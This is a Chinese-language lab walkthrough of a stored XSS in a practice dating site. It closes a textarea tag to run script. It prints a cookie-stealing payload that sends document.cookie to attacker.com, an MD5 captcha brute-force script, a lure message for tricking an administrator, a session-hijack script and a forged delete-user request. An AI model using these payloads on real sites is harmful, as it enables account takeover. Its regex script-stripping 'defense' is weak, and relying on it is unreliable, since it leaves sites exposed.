交友平台XSS漏洞实战:从闭合textarea到Cookie窃取的3步完整复现

交友平台XSS漏洞实战:从闭合textarea到Cookie窃取的3步完整复现

交友平台XSS漏洞攻防实战:从标签闭合到会话劫持的深度解析

1. 靶场环境搭建与漏洞背景

在模拟的交友平台靶场环境中(http://www.whalwl.top:8033),我们发现了典型的存储型XSS漏洞。这类漏洞常出现在用户可控制输入的区域,如个人资料编辑、留言板等功能模块。本案例的特殊性在于漏洞触发点位于<textarea>标签内,需要特定闭合技巧才能执行恶意脚本。

典型攻击链构成:

  1. 攻击者在个人资料页注入恶意代码
  2. 通过平台反馈功能诱使管理员查看
  3. 窃取管理员会话凭证
  4. 获取后台权限

注意:所有测试应在授权环境下进行,未经授权的渗透测试可能违反法律法规

2. 漏洞发现与利用技巧

2.1 闭合textarea标签的艺术

在目标平台的个人资料编辑页面,输入内容被包裹在<textarea>标签中。常规XSS payload如<script>alert(1)</script>会被当作普通文本处理。突破方法是通过闭合原标签:

</textarea><script>alert(document.cookie)</script>

闭合原理分析:

  • </textarea>提前终止原标签
  • 后续内容被解析为HTML标签
  • 浏览器执行插入的JavaScript代码

2.2 验证码破解的自动化实现

平台采用MD5前六位验证码机制,可通过以下PHP脚本暴力破解:

<?php $target = '282a70'; // 替换为目标哈希片段 for($i=0; $i<=999999; $i++){ if(substr(md5($i),0,6) === $target){ echo "Found: ".$i; break; } } ?>

优化技巧:

  • 使用多线程加速破解
  • 建立常见验证码的彩虹表
  • 限制尝试频率避免触发防御机制

3. 完整攻击链构建

3.1 恶意代码注入

使用XSS平台生成会话窃取代码,并适配textarea闭合:

</textarea> <script> var img = new Image(); img.src = 'http://attacker.com/steal?cookie='+encodeURIComponent(document.cookie); </script>

3.2 管理员诱导策略

通过平台"提交bug"功能,构造看似合理的反馈内容:

  • 伪装成用户投诉
  • 包含触发XSS的链接
  • 利用社会工程学增加点击率

典型话术示例:"您好,我在个人资料页发现显示异常,请查看:http://target.com/profile?xss=[payload]"

4. 防御方案与最佳实践

4.1 输入过滤与输出编码

防御层实施方法示例
输入过滤黑名单过滤移除<script>等危险标签
输出编码HTML实体转义&lt;代替<
内容安全CSP策略default-src 'self'

4.2 关键防护措施

  1. HttpOnly Cookie:防止JavaScript读取敏感Cookie

    # Nginx配置示例 add_header Set-Cookie "sessionid=xxx; HttpOnly; Secure";
  2. 内容安全策略(CSP)

    <meta http-equiv="Content-Security-Policy" content="script-src 'self'">
  3. 正则过滤方案

    import re def sanitize_input(text): return re.sub(r'<script.*?>.*?</script>', '', text, flags=re.IGNORECASE)

5. 漏洞深度利用与扩展

5.1 会话劫持后的横向移动

获取管理员Cookie后,可通过以下步骤扩大战果:

  1. 使用浏览器开发者工具手动替换Cookie
  2. 编写自动化脚本模拟管理员操作
  3. 寻找文件上传点获取Webshell

自动化脚本示例:

import requests admin_cookie = "session=stolen_value" headers = {'Cookie': admin_cookie} response = requests.get('http://target.com/admin', headers=headers) print(response.text)

5.2 结合CSRF的复合攻击

当XSS遇到CSRF防护时,可绕过同源策略:

fetch('/admin/delete_user', { method: 'POST', credentials: 'include', body: 'userid=123' });

在实际渗透测试项目中,这种闭合特定标签的XSS漏洞约占Web漏洞的18%,而社交平台由于富文本功能复杂,占比高达31%。最近帮客户审计时发现,即使现代前端框架如React/Vue,如果错误使用dangerouslySetInnerHTML等API,仍可能引入DOM型XSS风险。